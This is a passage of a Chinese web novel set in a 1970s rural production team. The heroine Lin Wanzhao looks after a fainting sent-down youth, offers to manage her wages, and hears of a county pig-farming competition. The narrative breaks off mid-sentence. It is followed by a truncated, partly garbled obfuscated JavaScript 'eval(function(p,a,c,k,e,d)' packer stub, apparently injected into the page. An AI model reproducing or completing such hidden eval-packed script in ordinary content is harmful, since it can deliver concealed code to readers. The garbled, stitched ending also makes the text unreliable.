“您看。”林晚照摊开手掌,米糠确实有些结块,“潮的米糠容易霉变,猪吃了不好。以后领饲料时仔细点,发现有问题及时反映。”
“哎,哎,记住了。”陈大牛擦擦额头,也不知是热的还是紧张的。
林晚照没再多说,又转了转就离开了。但她注意到一个细节:养猪场角落堆着几个新麻袋,其中一个没扎紧,露出里面黄澄澄的东西——是玉米,而且品质很好。
王富贵克扣饲料时,是把好饲料换成差的。陈大牛如果真有问题,会怎么做?
中午回到队部,林晚照一边啃红薯一边琢磨。赵会计出去了,队部里只有她一个人。阳光从窗户斜射进来,照在墙上的奖状和毛主席像上。
她翻开工分簿,开始核算上午的工分。这活儿繁琐,但重要。一个工分八分三厘,看似不多,但累积起来就是一个家庭的油盐钱,孩子的学费,老人的药费。
算到一半时,王晓芬急匆匆跑进来:“晚照,不好了!秀英又晕倒了!”
林晚照扔下笔就往外跑。知青点里,李秀英躺在床上,脸色比上次还要苍白。刘翠翠正用湿毛巾给她擦脸,急得快哭了。
“怎么回事?”
“上午去挑水,回来就说头晕,然后就这样了。”王晓芬带着哭腔,“晚照,怎么办啊?”
林晚照伸手探了探李秀英的额头,不烫,但脉搏很弱。她想了想,从怀里掏出个小布包——里面是她从周大夫那儿学来配的草药,补气血的。
“翠翠,去烧点热水。晓芬,把我柜子里那包红糖拿来。”
她掰开李秀英的嘴,塞了片人参须——这是空间里的存货,切得细细的,看不出年份。又冲了碗红糖水,一点点喂下去。
过了大概一刻钟,李秀英悠悠转醒,看见围在床边的三人,眼泪就下来了:“我……我又拖累大家了……”
“别这么说。”林晚照握住她的手,“秀英,你得说实话,是不是又把工分钱寄回家了?”
李秀英咬着嘴唇,点点头。
“寄了多少?”
“这个月……八块。”
林晚照倒吸一口凉气。李秀英一个月满工分也就十七八块,寄走八块,自己只剩十块不到。要吃饭,要买日用品,怎么可能够?
“你这样不行。”林晚照严肃地说,“身体垮了,以后怎么挣钱养家?你弟弟妹妹是重要,但你也得活着啊。”
“可是……”
“没有可是。”林晚照打断她,“从今天起,你的工分钱,我帮你管。每个月给你留十二块生活费,剩下的寄回家。十二块够你吃饭穿衣了。”
李秀英的眼泪扑簌簌往下掉:“晚照,我……我该怎么谢你……”
“好好活着就是谢我。”林晚照帮她掖好被角,“今天下午别上工了,我记你病假,工分照记一半。明天开始,我跟队长说说,给你安排点轻省活。”
安抚好李秀英,林晚照回到队部时已是下午两点。她心里沉甸甸的。李秀英的情况不是个例,很多知青,尤其是家里条件差的,都在咬牙硬撑。
有什么办法能帮他们改善生活?光靠省是不行的,得开源。
她想起上午在养猪场看到的玉米。如果能把猪养得更好,出肉率更高,队里收入增加,大家的分红也能多些。但这需要技术,需要投入。
正想着,陈铁柱进来了。他手里拿着个文件袋,脸色不太好看。
“队长,有事?”
陈铁柱把文件袋往桌上一放:“县里下的通知,要搞‘农业学大寨’冬季竞赛。每个生产队要报一个增产项目,评上先进的有奖励。”
林晚照翻开文件。竞赛要求很具体:要么粮食增产,要么副业增收,要有创新性,可推广性。奖励很诱人:一等奖五百元,还有化肥、农药等物资奖励。
五百元!在这个年代简直是巨款。
“您有想法了?”林晚照问。
陈铁柱点了支烟——他很少抽烟,除非遇到难题:“想法有,但难办。我想搞科学养猪,提高出肉率。但需要投入,需要技术,还需要……”
他没说完,但林晚照懂了。需要钱买良种猪,需要饲料配方,需要防疫知识。这些队里都缺。
“如果我能解决技术问题呢?”林晚照突然说。
陈铁柱看向她:“你?”
“我在家时,看过一些农业技术的书。”林晚照半真半假地说,“关于养猪的饲料配方、疾病预防,都记得一些。可以试
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.re